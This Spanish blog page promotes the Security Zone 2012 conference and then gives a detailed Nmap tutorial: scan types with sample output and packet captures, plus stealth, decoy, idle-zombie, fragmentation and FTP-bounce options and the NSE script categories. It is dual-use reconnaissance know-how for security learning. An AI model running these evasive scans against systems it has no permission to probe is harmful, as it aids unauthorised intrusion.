Archivos de la categoría ‘Redes’


Este año @SecZone nos sorprende nuevamente con un evento de calidad Mundial.

El evento contara con la participación de renombrados expertos en Seguridad Informatica como:

  • Dave Kennedy (@dave_rel1k Creador del Social Engineering Toolkit SET, disponible en Backtrack 5 RC3)
  • Matias Katz (@MatiasKatz Creador de la poderosa herramienta HTExploit disponible en Backtrack 5 RC3)
  • Georgia Weidmann (@georgiaweidman Creadora del SmartPhone Penetration Testing Framework tambien disponible en Backtrack 5 RC3 )
  • Ian Amit (@iiamit Expositor del DEFCON, con conferencias como Sexy Defense entre otras)
  • Carlos Perez (@Darkoperator Conocido Exploiter e Investigador de Seguridad Informatica)
  • Dave Marcus (@DaveMarcus)

Entre muchos otros…

Security Zone no es solo un evento de Seguridad Informatica mas, lo veo como la plataforma de lanzamiento de talentos colombianos de exportacion como:

  • Carlos Mario Penagos Hollman (@BinaryMantis Quien fue invitado por Acme Pharm a competir con ellos en el CTF del DEFCON de este ano, ademas de ser escritor de varias herramientas de Hacking y colaborador en el USCERT)
  • Fernando Quintero (@nonroot El disenador de los CTF’s de varios Campus Party a nivel Mundial)
  • Los Maestros del VoIP Security del grupo @BusyTone:  Giovanny Cruz (@fixxx3r) Daniel Rodriguez (@dvirus) Alex Ricardo Rincon (@Nemesis545)
  • Jeffrey Steve Borbon (@ElJeffto)
  • Jhon Jairo Hernandez (@d7n0)
  • Alfonso De Luque (@dachcode)

Security Zone se perfila como el evento mas cercano a un DEFCON en LatinoAmerica, por la calidad de sus conferencistas y motivar a los talentos colombianos a que muestren sus investigaciones en las diferentes charlas y talleres que ofrecen.

Ademas, por si fuera poco y al mejor estilo de DEFCON, Security Zone nos deleitara con la Premier de la Pelicula REBOOT (@reboot_film) para Colombia

Todos a Security Zone 2012, un motivo mas para ir a la Sultana Del Valle (Cali) y actualizar o enriquecer nuestros conocimientos en Seguridad Informatica y Hacking

Anuncios

NMAP For All !!!

Publicado: 14 octubre, 2012 de Bambino0710 en Hacking, Redes, Seguridad Informatica

Quienes esten sumergidos en el Mundo de la Seguridad Informatica, seguramente conocen (Y deben dominar NMAP)

Hablar de Nmap, es hablar de Gordon Lyon-Fyodor, y de una de las herramienta por excelencia en lo que a exploración de redes y puertos se refiere.

ASPECTOS PREELIMINARES

Funcionamiento de Nmap

Es capaz se utilizar diferentes técnicas de evasión de detección como escaneo sealth. Soporta escaneos sobre ciertos puertos específicos, entre rangos IP específicos, uso se paquetes Null, FIN, Xmas y ACK, además SYN que es el paquete por defecto. Esto significa que se mandan cierto tipo de paquetes a cada puerto y estos responderán con alguna señal que permitirá a scanner encontrar versiones y servicios.

Conceptos importantes

¿Que es un puerto?: Un puerto es una zona en la que dos ordenadores (hosts) intercambian información.

¿Que es un servicio?: Un servicio es el tipo de información que se intercambia con una utilidad determinada como ssh o telnet.

¿Que es un Firewall?: Un firewall acepta o no el trafico entrante o saliente de un ordenador.

¿Que son paquetes SYN?: Así por encima, pueden ser paquetes que abren un intento de establecer una conexión TCP.

Debemos tener en cuenta que para Nmap un puerto puede estar de tres maneras:

open: el puerto es accesible y hay un demonio escuchando.
closed: el puerto es accesible pero no hay un demonio escuchando.
filterd: el puerto no es accesible, un firewall filtra el puerto.

Vamos a empezar definiendo diferentes tipos de escaneos que podemos realizar:

  1. Escaneos de redes :Este tipo de exploración nos va permitir conocer los dispositivos conectados en la red a estudiar.
  2. Escaneos de puertos:  Una vez identificadas las máquinas, nos va a permitan descubrir puertos abiertos en las mismas. A partir de ese momento intentaremos descubrir los servicios que se están ejecutando y obtener datos que nos ayudarán a identificar el tipo de Sistema Operativo, las aplicaciones, versiones de las mismas…
  3. Escaneos de vulnerabilidades: Encontrar servicios vulnerables que sirvan como punto de entrada en los sistemas.

Tratamos por lo tanto que buscar las máquinas, ver los servicios que hay corriendo en ellas, y encontrar algún punto vulnerable por el que poder colarnos.

Debemos tener cuidado, ser cautos y no fiarnos de los resultados. A explicarse se ha dicho… Podríamos encontrar una maquina con el puerto 80 abierto. Suponemos que sobre el mismo debería de haber corriendo un servidor web, pero en realidad podemos  tener cualquier tipo de servicio detrás de ese puerto (Anexo). Realizar varios chequeos y estudiar la información devuelta con lupa. Es aquí cuando empezamos a hablar de lo que se conoce como Fingerprinting. Algo así como determinar la versión y tipo de sistema operativo que se encuentra corriendo en el Host.

Nmap es una herramienta que a día de hoy nos va permitir realizar todo esto, pero donde verdaderamente ha venido centrando su potencial, es el escaneo de redes y puertos, aunque con las nuevas funcionalidades de Scripting (NSE) vamos a ver como sacarle todo su potencial.

Seremos capaces de escanear redes completas, simplemente un rango de equipos o centrarnos en un solo objetivo. Una herramienta que nos va a permitir realizar diferentes tipo de escaneos que iremos viendo a continuación, descubriendo su gran potencial.

Conviene comentar en este punto, que los escaneos pueden ser activos o pasivos. Cuando realicemos escaneos activos vamos a generar ruido forzando trazas que pueden ser detectadas, en cambio en los pasivos vamos a escuchar lo que la red nos dice, e ir determinado resultados en función a la información recibida. En este segundo bloque podemos citar herramientas como p0f:

#p0f
p0f – passive os fingerprinting utility, version 2.0.8
(C) M. Zalewski <lcamtuf@dione.cc>, W. Stearns <wstearns@pobox.com>

Para entender el funcionamiento de Nmap es necesario conocer un poquito sobre los diferentes protocolos TCP, UDP, IP… y ser capaces de interpretar los resultados. Tenemos que reconocer términos tales como direcciones IP, Puertos, Flags….

Resumiendo un poco lo que nos dice la Wikipedia, TCP (Transmission Control Protocol-RFC 793)  es un protocolo de comunicación orientado a conexión y a nivel de transporte ( capa 4 según el modelo OSI), que da soporte a protocolos de aplicación tales como  HTTPFTP,SMTP…, permitiendo crear conexiones en las que se garantiza el flujo de información sin errores.

Para establecer la conexión se estable un procedimiento que se viene a denominar 3-way handshake, que viene reflejado en la siguiente figura:

Lo que nos viene a decir es que el cliente envía un TCP SYN (con un numero de secuencia asignado para evitar Spoofing), si el puerto está abierto el servidor responde con un SYN/ACK, en caso contrario el servidor envía un paquete con el Flag  RST activado, y el cliente responde al servidor con un ACK, completando así la negociación.

En el nivel de transporte, los paquetes de bits que constituyen las unidades de datos de protocolo TCP se llaman “segmentos” que vemos definidos en la siguiente figura:


Es necesario también comentar el concepto de puerto, que como vemos en el dibujo tiene un tamaño de 16 bits, por lo que existen 65.536 puertos posibles. Del 0 al 1023 se vienen a denominar puertos conocidos que son en los que generalmente van a estar escuchando aplicaciones tales como HTTP(80), HTTPS(443), SNMP(25) …, luego están los puertos registrados 1024-49151 utilizados por las aplicaciones de usuario de forma temporal, y luego están los dinámicos que van del 49152-65535.

Será necesario conocer algo sobre los bits de control (Flags) que como vemos son 8bits que se activan cuando están a 1 y se encuentran  inactivos cuando se encuentran a 0. Serian CWR, ECE, URG, ACK, PSH, RST, SYN y FIN. Muy importantes y que veremos a continuación para que sirven.

Hemos comentado que para los Flags tenemos reservado un campo de 1Byte (8bits):

  • CWR (Congestion Window Reduced):  Notificación explicita de congestión. rfc3168
  • ECN (Explicit Congestion Notification): Informar de que se ha recibido un notificación ECN.rfc3168
  • URG (Urgent): Identificar los datos de entrada como urgentes.
  • ACK (Acknowledgement): Para confirmar que el paquete se ha recibido correctamente.
  • PSH (Push):- Prioridad para procesar el bloque de datos.
  • RST (Reset): Reiniciar una conexión.
  • SYN (Synchronize): Iniciar una conexión TCP.
  • FIN (Finalize): Finalizar una conexion iniciada con un SYN.

Sobre todo esto seguiremos profundizando en otro articulo, pero recomiendo al menos leer  mas en detalle información sobre nuestros amigos los protocolos para que nos vayan sonando los conceptos. Hay que empezar poco a poco, y ya tendremos tiempo para ir avanzando.

La instalación de la herramienta es muy sencilla. Podemos hacer uso del “método debian”:

#apt-cache search nmap

nmap – El mapeador de red

Podemos ver que nos dice nuestro sistema de este paquete

#apt-cache -f search nmap

Package: nmap
Description-md5: bc417f4c1fdba7d8d9b0ca8a2a90b7a8
Description-es: El mapeador de red
 Nmap es una herramienta para la exploración de la red y la auditoría de
 seguridad. Permite realizar escaneados con ping (determinando que máquinas
 están activas), muchas técnicas de escaneado de puertos, detección de
 versiones (determinando los protocolos de los servicios y las versiones de
 las aplicaciones que están escuchando en los puertos), e identificación
 mediante TCP/IP (identificando el sistema operativo de la máquina o el
 dispositivo). Nmap también ofrece una especificación flexible del objetivo
 y el puerto, escaneados ocultos/con señuelo, escaneados de las RPC de Sun,
 y mucho más. Se puede usar en la mayoría de las plataformas UNIX y Windows
 tanto en el modo consola como en el entorno gráfico de usuario. También se
 puede usar en muchos de los dispositivos móviles más famosos, incluyendo
 el Zaurus de Sharp y la iPAQ.

Que bien se explica….¿Algo mas que le queramos preguntar?. Si. Queremos saber también la versión. Es interesante tener la última versión no solo para disponer todas las funcionalidades, sino para tener actualizados los Scripts de los que hace uso la herramienta. Esto último lo veremos mas adelante en el artículo.

#apt-cache showpkg nmap
Package: nmap
Versions:
5.00-3 (/var/lib/apt/lists/ftp.es.debian.org_debian_dists_squeeze_main_binary-i386_Packages)

Si comprobamos en la página de Nmap cual es la última versión estable, veremos que es la 5.51. Es cierto que tenemos un paquete con esta versión pero en esta ocasión vamos a realizar la instalación desde los fuentes y ver la sencillez del proceso.

#wget http://nmap.org/dist/nmap-5.51.tar.bz2

Ahora que lo tenemos descargado, procedemos a descomprimirlo:

#bzip2 -cd nmap-5.51.tar.bz2 | tar -xvf –

Ahora a compilar e instalar.

#cd nmap-5.51
#../configure
#make
#make install

Comprobamos la versión:

#nmap –version
Nmap version 5.51 ( http://nmap.org )

Ahora que ya tenemos la herramienta preparada, podemos empezar a jugar.

Uso: nmap [Scan Type(s)] [Options] {target specification}

Vamos ahora a lo que nos ocupa, que es ir viendo los diferentes tipos de escaneos que nos brinda Nmap, para seguir con todas las opciones que nos aporta la herramienta.

TIPOS DE ESCANEO EN NMAP

-sP (Ping Scanning):

No se trata de de un escaneo de puertos, sino que nos va a servir para determinar los Host levantados. Si lo ejecutamos con permisos de root, envia un ICMP ECHO REQUEST retornando la máquina objetivo un ECHO REPLY, o paquetes TCP SYN para comprobar si el host está levantado. Si no disponemos de privilegios lanzara un TCP connect().Si el objetivo está en nuestra red local enviara paquetes ARP esperando una respuesta.

Vamos a lanzar un escaneo y recoger los valores para ver el tráfico de red que se está generando. Esto lo podemos hacer utilizando la opción –packet-tracer o algún sniffer como puede ser tcpdumpwireshark

#nmap -sP 10 10.207.214.10
Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for local_IP
Host is up (0.00092s latency).
MAC Address: 00:49:bb:81:XX:XX (Micro-star International CO.)
Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds

Y la captura con Tcpdump relfleja lo siguiente:

#tcpdump -i eth0 host 10.207.214.10

ARP, Request who-has Master.local (Broadcast) tell local, length 28
ARP, Reply Master.local is-at 00:49:bb:81:XX:XX (oui Unknown), length 46

Mismo escaneo contra un red externa.

#nmap -sP 74.125.232.112
Nmap scan report for 74.125.232.112
Host is up (0.068s latency).
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds

Y su correspondiente captura con Tcpdump

21:00:42.736186 IP p.local > 74.125.232.112: ICMP echo request, id 38701, seq 0, length 8
21:00:42.736218 IP pl.local.39583 > 74.125.232.112.https: Flags [S], seq 1461930908, win 1024, options [mss 1460], length 0
21:00:42.736230 IP p.local.39583 > 74.125.232.112.www: Flags [.], ack 1461930908, win 3072, length 0
21:00:42.736240 IP p.local > 74.125.232.112: ICMP time stamp query id 1075 seq 0, length 20
21:00:42.814136 IP 74.125.232.112.www > p.local.39583: Flags [R], seq 1461930908, win 0, length 0
21:00:42.824328 IP 74.125.232.112 > p.local: ICMP echo reply, id 38701, seq 0, length 8
21:00:42.825915 IP 74.125.232.112.https > p.local.39583: Flags [S.], seq 984946652, ack 1461930909, win 5720, options [mss 1430], length 0
21:00:42.825940 IP p.local.39583 > 74.125.232.112.https: Flags [R], seq 1461930909, win 0, length 0

-sT

Realiza un escaneo completo a través del metodo connect() del protocolo TCP (three way handshake) que hemos comentado anteriormente. Este tipo de escaneo va a quedar muy bien registrado en los logs….

#nmap -sT -p 5900 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.10
Host is up (0.0011s latency).
PORT     STATE SERVICE
5900/tcp open  vnc
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds

Nmap nos informa de que la máquina esta levantada y que el Puerto sobre el que hemos lanzado el escaneo este abierto. Podemos escanear todos los puertos, o centrarnos en algunos de ellos con la opción –p port_number

Vamos a ver el tráfico que hemos generado.

IP p.local.44959 > Master.local.5900: Flags [S], seq 2636019398, win 5840, options [mss 1460,sackOK,TS val 980997 ecr 0,nop,wscale 6], length 0
IP Master.local.5900 > pedlap.local.44959: Flags [S.], seq 93360044, ack 2636019399, win 8192, options [mss 1460,nop,wscale 8,sackOK,TS val 109977278 ecr 980997], length 0
IP p.local.44959 > Master.local.5900: Flags [.], ack 1, win 92, options [nop,nop,TS val 980997 ecr 109977278], length 0
IP p.local.44959 > Master.local.5900: Flags [R.], seq 1, ack 1, win 92, options [nop,nop,TS val 980997 ecr 109977278], length 0

Con un pantallazo gráfico del Wireshark quizás para empezar lo veáis más claro:

Vemos claramente como funciona. Se lanza un connect() en toda regla, si el puerto está abierto se establece la conexión. En caso contrario se recibiría un Connection refused oTimeout.

-sS

Para lanzar este escaneo son necesarios privilegios de root en la máquina desde la que lo vayamos a ejecutar. Se trata de evitar realizar tanto ruido como en el anterior escaneo, y para ello no llegamos a realizar una conexión completa. Aunque también tenemos que decir que losfirewalls (stateful) modernos ya detectan este tipo de escaneos.

Enviamos un Tcp SYN, la máquina remota nos envia un SYN/ACK si el puerto está abierto, o RST si está cerrado. Nosotros siempre respondemos con un RST.

Vamos a verlo también con un ejemplo

#nmap -sS -p 5900 10.207.214.10
Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.10
Host is up (0.0019s latency).
PORT     STATE SERVICE
5900/tcp open  vnc
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)

Y la captura nos dice…

IP p.local.33867 > Master.local.5900: Flags [S], seq 516884476, win 3072, options [mss 1460], length 0
IP Master.local.5900 > pedlap.local.33867: Flags [S.], seq 366620328, ack 516884477, win 8192, options [mss 1460], length 0
p.local.33867 > Master.local.5900: Flags [R], seq 516884477, win 0, length 0

-sF

Aquí se trata de enviar un paquete con el flag FIN, y si el puerto está cerrado el objetivo nos enviara un RST o por el contrario lo ignorara en caso de este estar abierto o filtrado. Las máquinas Windows no responden muy bien, por lo que aparecerán con todos los puertos cerrados, lo cual también nos puede dar una idea del sistema al que nos enfrentamos.

Ejemplo Puerto Abierto o filtrado

21:29:21.861093 IP p.local.52343 > Master.local.5900: Flags [F], seq 1079616386, win 3072, length 0
21:29:21.940670 ARP, Request who-has p.local tell Master.local, length 46
21:29:21.940703 ARP, Reply p.local is-at 00:22:fb:xx:xx:xx (oui Unknown), length 28

Ejemplo de Puerto Cerrado

21:30:20.699859 IP pedlap.local.50622 > Master.local.5922: Flags [F], seq 1783626805, win 4096, length 0
21:30:20.700645 IP Master.local.5922 > pedlap.local.50622: Flags [R.], seq 0, ack 1783626806, win 0, length 0

-sX (Xmas Scan)

Igual que los anteriores pero activando todos los Flags (FIN, PSH y URG). El escaneo Xmas envía un paquete con todos los flags activados, recibiendo un RST si el puerto está cerrado o ninguna respuesta si este esta abierto o filtrado.

sN (Null Scan)

Funciona igual que los anteriores, pero en este caso no se envía ningún flag activado(null).

-sA

Nos va a servir para empezar a intuir como estan configurado el firewall por los filtrados que este realiza. Se envía un paquete TCP con el flag ACK activado, cuando nos enfrentamos a sistemas no filtrados, tanto si el puerto esta abierto como cerrado nos va devolver un RST y nmap los marca como no filtrados, pero no podemos saber si están abiertos o no. Los puertos que no responden o envían un mensaje ICMP de error se va a etiquetar como filtrados.

-sW

Similar al -sA, pero en determinados SO se puede determinar si el puerto esta abierto o cerrado a través del valor de ventana TCP.

-sM

Solo parece que funciona con algunos sistemas BSD. Se envía un FIN/ACK y se obtiene un RST.

-sI

Esto se conoce como Idle Scanning. Básicamente consiste en intentar ocultar la identidad del atacante y utilizar máquinas intermedias llamadas zoombies que sean las que realmente aparecerán como atacantes. Se pueden utilizar por ejemplo impresoras o máquinas antiguas como zoombies que utilicen números de secuencia predecibles (IPID). Cuando lancemos este tipo de ataque, nmap nos informará si la máquina utiliza como zombie puede ser utilizada como tal.

#nmap -sI 10.207.214.10 10.207.214.11

Starting Nmap 5.51 ( http://nmap.org )
Idle scan using zombie 10.207.214.10 (10.207.214.11:80); Class: Incremental
Even though your Zombie (10.207.214.10; 10.207.214.10) appears to be vulnerable to IP ID sequence prediction (class: Incremental), our attempts have failed.  This generally means that either the Zombie uses a separate IP ID base for each host (like Solaris), or because you cannot spoof IP packets (perhaps your ISP has enabled egress filtering to prevent IP spoofing), or maybe the target network recognizes the packet source as bogus and drops them
QUITTING!

-sO

Con este tipo de escaneo se pueden obtener falsos positivos. Se envía un paquete sin información en la cabeceras y deberemos recibir un ICMP de protocolo (tipo3, cod 2) inalcanzable en caso de este no estar soportado en la maquina remota. En caso contrario se asume que el puerto está abierto y el protocolo soportado.

#nmap -P0 -sO 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.10
Host is up (0.00075s latency).
Not shown: 245 closed protocols
PROTOCOL STATE         SERVICE
1        open          icmp
2        open|filtered igmp
4        open|filtered ip
6        open          tcp
17       open          udp
41       open|filtered ipv6
43       open|filtered ipv6-route
44       open|filtered ipv6-frag
47       open|filtered gre
50       open|filtered esp
51       open|filtered ah
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)

-sU

Sirve para lanzar un escaneo UDP. Hay que tener cuidado con los resultados que devuelve, ya que si tenemos un firewall filtrando paquetes ICMSP los resultados no van a ser fiables. Se envían paquetes UDP de longitud 0, y se reciben ICMP (puerto no alcanzable).

Puede tardar bastante. Como UDP no es un protocolo orientado a conexión con lo es TCP, solo podemos estar seguros de los puertos que se encuentran cerrados recibiendo un ICMP Port Unreacheable. Aunque con el tema de los Payloads algo hemos ganado. Podríamos también hacer uso de herramientas como UnicornScan o udp-proto-scanner..

IP p.local.45611 > Master.local.https: UDP, length 0
IP Master.local > p.local: ICMP Master.local udp port https unreachable, length 36

-sV

Iniciar un escaneo de servicios en los puertos abiertos. Genera bastante ruido, pero nos proporciona información sobre los servicios que están corriendo en los puertos que se encuentran abiertos.

#nmap -p 5900 -sV 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )

Nmap scan report for 10.207.214.10
Host is up (0.00093s latency).
PORT     STATE SERVICE VERSION
5900/tcp open  vnc     VNC (protocol 3.6)
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)

-sA

Realizar un escaneo de servicios -sV y detección del OS -O.

OPCIONES

-P0 : Indica que no se realice un ICMP ping antes de empezar con el escaneo.

-T [0.1.2.3.4.5] – Establecer el tiempo para el scaneo. Por ejemplo -T0 estable 5 minutos entre envio de paquetes. Los diferentes valores son :-T paranoid, -T sneaky, -T Polite, -T normal -T aggressive, -T insane.

–scan_delay: Muestra el tiempo en Ms entre las diferentes pruebas.
Podemos indicar el tiempo en ms a esperar para la retransmisión de los paquetes a traves de las opciones: –max_rtt_timeout, –min_rtt_timeout (tambien tenemos i¡–initial_rtt_timeout)

-p : lista de puertos a escanear separados por comas.

-F : (modo  escaneo rápido). Escanea los puertos que se encuentran en el fichero de servicios de nmap.

Dentro de la instalación del directorio de nmap, nos encontramos con los siguientes ficheros :

#ls /usr/local/share/nmap
nmap.dtd  nmap-mac-prefixes  nmap-os-db  nmap-payloads  nmap-protocols  nmap-rpc  nmap-service-probes  nmap-services  nmap.xsl  nselib  nse_main.lua  scripts

Refencia Ficheros

 –datadir : Nos permite modificar la ruta de los ficheros.

-e : Identifica la interface por la que se realiza el escaneo.

-f : Se utiliza para la fragmentación de los paquetes y dificultar así el filtrado de paquetes, pero con los firewalls modernos no funciona porque encolaran todos los paquetes antes de evaluarlos.

-D: Es un opción de señuelo, que básicamente envía señuelos mientras realizamos la exploración real a fin de ser más complicado detectarnos. Es interesante recordar que la dirección del señuelo tiene que estar operativa para evitar desbordamientos SYN en el objetivo.

#nmap -sS Ip -D ip_señuelo

-v: nos muestra información sobre el escaneo que estamos realizando.

-n: Le forzamos a que no realice resolución de nombres.

-R: Forzarle a que realice resolución de nombres.

–packet-trace para ver en detalle lo que se envía y recibe.

#nmap –packet-trace -sN -p 5900 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )
SENT (0.1110s) ARP who-has 10.207.214.10 tell 10.207.214.102
RCVD (0.1130s) ARP reply 10.207.214.10 is-at 00:19:DB:81:XX:XX
NSOCK (0.1350s) UDP connection requested to 212.142.144.98:53 (IOD #1) EID 8
NSOCK (0.1350s) Read request from IOD #1 [212.142.144.98:53] (timeout: -1ms) EID 18
NSOCK (0.1350s) UDP connection requested to 212.142.144.66:53 (IOD #2) EID 24
NSOCK (0.1350s) Read request from IOD #2 [212.142.144.66:53] (timeout: -1ms) EID 34
NSOCK (0.1350s) Write request for 44 bytes to IOD #1 EID 43 [212.142.144.98:53]: ………….10.214.207.10.in-addr.arpa…..
NSOCK (0.1350s) nsock_loop() started (timeout=500ms). 5 events pending
NSOCK (0.1350s) Callback: CONNECT SUCCESS for EID 8 [212.142.144.98:53]
NSOCK (0.1350s) Callback: CONNECT SUCCESS for EID 24 [212.142.144.66:53]
NSOCK (0.1350s) Callback: WRITE SUCCESS for EID 43 [212.142.144.98:53]
NSOCK (0.1550s) Callback: READ SUCCESS for EID 18 [212.142.144.98:53] (44 bytes): ………….10.214.207.10.in-addr.arpa…..
NSOCK (0.1550s) Read request from IOD #1 [212.142.144.98:53] (timeout: -1ms) EID 50
SENT (0.1860s) TCP 10.207.214.102:53374 > 10.207.214.10:5900  ttl=55 id=24851 iplen=40  seq=271850125 win=4096 
RCVD (0.2060s) TCP 10.207.214.10:5900 > 10.207.214.102:53374 RA ttl=128 id=21926 iplen=40  seq=0 win=0 ack=271850125 
SENT (0.2860s) TCP 10.207.214.102:53375 > 10.207.214.10:5900  ttl=48 id=18593 iplen=40  seq=271915660 win=1024 
RCVD (0.2870s) TCP 10.207.214.10:5900 > 10.207.214.102:53375 RA ttl=128 id=21936 iplen=40  seq=0 win=0 ack=271915660 
Nmap scan report for 10.207.214.10
Host is up (0.0011s latency).
PORT     STATE         SERVICE
5900/tcp open|filtered vnc
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)

–version-trace: Información sobre la versión de servicio detectada.

#nmap –version-trace -sN -p 5900 10.207.214.10

Starting Nmap 5.21 ( http://nmap.org )
————— Timing report —————
  hostgroups: min 1, max 100000
  rtt-timeouts: init 1000, min 100, max 10000
  max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
  parallelism: min 0, max 0
  max-retries: 10, host-timeout: 0
  min-rate: 0, max-rate: 0
———————————————
Packet capture filter (device wlan0): arp and arp[18:4] = 0x0022FB9A and arp[22:2] = 0xA76C
Overall sending rates: 32.35 packets / s, 1358.78 bytes / s.
mass_rdns: Using DNS server 212.142.144.66
mass_rdns: Using DNS server 212.142.144.98
mass_rdns: 0.02s 0/1 [#: 2, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1]
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Packet capture filter (device wlan0): dst host 10.207.214.102 and (icmp or ((tcp or udp or sctp) and (src host 10.207.214.10)))
Overall sending rates: 8.70 packets / s, 347.92 bytes / s.
Nmap scan report for 10.207.214.10
Host is up (0.0012s latency).
Scanned at 2011-07-26 22:56:42 CEST for 1s
PORT     STATE         SERVICE
5900/tcp open|filtered vnc
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)
Final times for host: srtt: 1208 rttvar: 5000  to: 100000

-O: Fingerprinting, utiliza varios métodos para determinar versión y tipo de Sistema Operativo. ¿ Os suena queso?

-P0 : Deshabilitar el escaneo ICMP haciendo uso de un TCP ping con ACK.

-b: FTP bounce Attack, utilizando servidores ftp mal configurados para actuar estos como proxy.

-S: Especificar la IP origen.

-PR: realizar ARP ping siempre y cuando estemos en la misma Subnet a escanear.

–source_port: especificar el puerto de Origen. Para los Firewalls modernos complicadillo…

–randomize_host: Escanear los host de forma aleatoria y que no se haga de forma secuencial.

Para escribir la salida a ficheros en diferentes formatos:

-oN,  -oM, -oX  ,-oG , -oA nom_archivo (Se escribe en todos los posibles formatos)

 -h: obtenemos una pequeña ayuda con la posibilidades que nos brinda la herramienta.

Resumen de Opciones

VIDEOS IrongeekIrongeek2
Manuales insecure,  insecure1,  insecure3insecure4
Chuleta: scribd, securitybydefault

Ejemplos: madrock securityaegis

Parametrizable ¿no?

Vamos ahora a ver unos ejemplos, y seguimos comentando temas tan interesantes como NSE, Ncat….

EJEMPLOS

#nmap -p443,80 URL

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for URL (194.XX.0.XXX)
Host is up (0.026s latency).
rDNS record for 194.30.0.194: servrer
PORT    STATE  SERVICE
80/tcp  open   http
443/tcp closed https

#nmap -v -sV -O -p445,5900 -P0 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )
NSE: Loaded 8 scripts for scanning.
Initiating ARP Ping Scan at 23:36
Scanning 10.207.214.10 [1 port]
Completed ARP Ping Scan at 23:36, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:36
Completed Parallel DNS resolution of 1 host. at 23:36, 0.02s elapsed
Initiating SYN Stealth Scan at 23:36
Scanning 10.207.214.10 [2 ports]
Discovered open port 445/tcp on 10.207.214.10
Discovered open port 5900/tcp on 10.207.214.10
Completed SYN Stealth Scan at 23:36, 0.03s elapsed (2 total ports)
Initiating Service scan at 23:36
Scanning 2 services on 10.207.214.10
Completed Service scan at 23:36, 6.02s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 10.207.214.10
Nmap scan report for 10.207.214.10
Host is up (0.00096s latency).
PORT     STATE SERVICE     VERSION
445/tcp  open  netbios-ssn
5900/tcp open  vnc         VNC (protocol 3.6)
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|2008|7
OS details: Microsoft Windows Vista SP0 – SP2, Server 2008, or Windows 7 Ultimate
Uptime guess: 0.843 days (since Fri Jul 29 03:22:16 2011)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class

Read data files from: /usr/local/share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds
           Raw packets sent: 19 (1.534KB) | Rcvd: 19 (1.446KB)

#nmap -sS -p 80 -oA correo-web URL

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for url (194.XX.0.XXX)
Host is up (Host is up 0.0095s latency)
rDNS record for 194.30.0.194: server
PORT   STATE    SERVICE
80/tcp open     http

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

#ls correo*

correo-web  correo-web.gnmap  correo-web.nmap  correo-web.xml

#nmap -sV -p 22,53,110 10.207.214.1-15

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.10
Host is up (0.0032s latency).
PORT    STATE  SERVICE VERSION
22/tcp  closed ssh
53/tcp  closed domain
110/tcp closed pop3
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 15 IP addresses (1 host up) scanned in 1.79 seconds

Hasta ahora todos los comandos han sido ejecutados mediante consola, pero esta herramienta también dispone de Interfaces gráficas tales como  Zenmap que nos facilitarán la tarea. De todas formas sabemos que siempre es interesante conocer la lógica bajo la parte gráfica, y ver lo que realmente estamos generando.

USO DEL NMAP SCRIPTING ENGINE

Hemos comentado en las primeras líneas del artículo la posibilidad que nos aportaba Nmap cono escáner de vulnerabilidades.

Vamos a aprovecharnos de su motor de Scripts NSE para ver su potencia.

Si nos vamos al directorio donde tenemos instalado Nmap

#cd /usr/local/share/nmap

Y accedemos al directorio Scripts, veremos numerosos archivos con extensión nse, que son scripts programados en el lenguaje lua (del cual hace uso un conocido como Wireshark), que nos van a permitir automatizar tareas, escaneos de vulnerabilidades, ataques de fuerza bruta …..

Estos van a estar agrupados en categorías que vendrán definidas en el script (auth; broadcast; default; discovery; dos; exploit; external; fuzzer; intrusive; malware; safe; version; vuln;) y podrán ser lanzados en función de esa categoría y del análisis que deseemos realizar. Una referencia a todas las posibles categorías.

Por ejemplo si editamos alguno de ellos:

#vi  vi smb-psexec.nse
author = “Ron Bowes”
copyright = “Ron Bowes”
license = “Same as Nmap–See http://nmap.org/book/man-legal.html”
categories = {“intrusive”}
dependencies = {“smb-brute”}

Sintaxis: --script <filename>|<category>|<directory>|<expression>|all[,...]

Si definimos el parámetro, all se van a ejecutar todos los Scripts que tengamos definidos en el directorio Scripts.

Antes de nada podemos lanzar una actualización de los scripsts…

# nmap –script-updatedb (actualiza la base de datos scripts/script.db)

Starting Nmap 5.51 ( http://nmap.org )
NSE: Updating rule database.
NSE: Script Database updated successfully.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.89 seconds

Por poner un ejemplo prodriamos lanzar lo siguiente:

#nmap –script smb-os-discovery 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.10
Host is up (0.024s latency).
Not shown: 988 closed ports
PORT      STATE    SERVICE
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
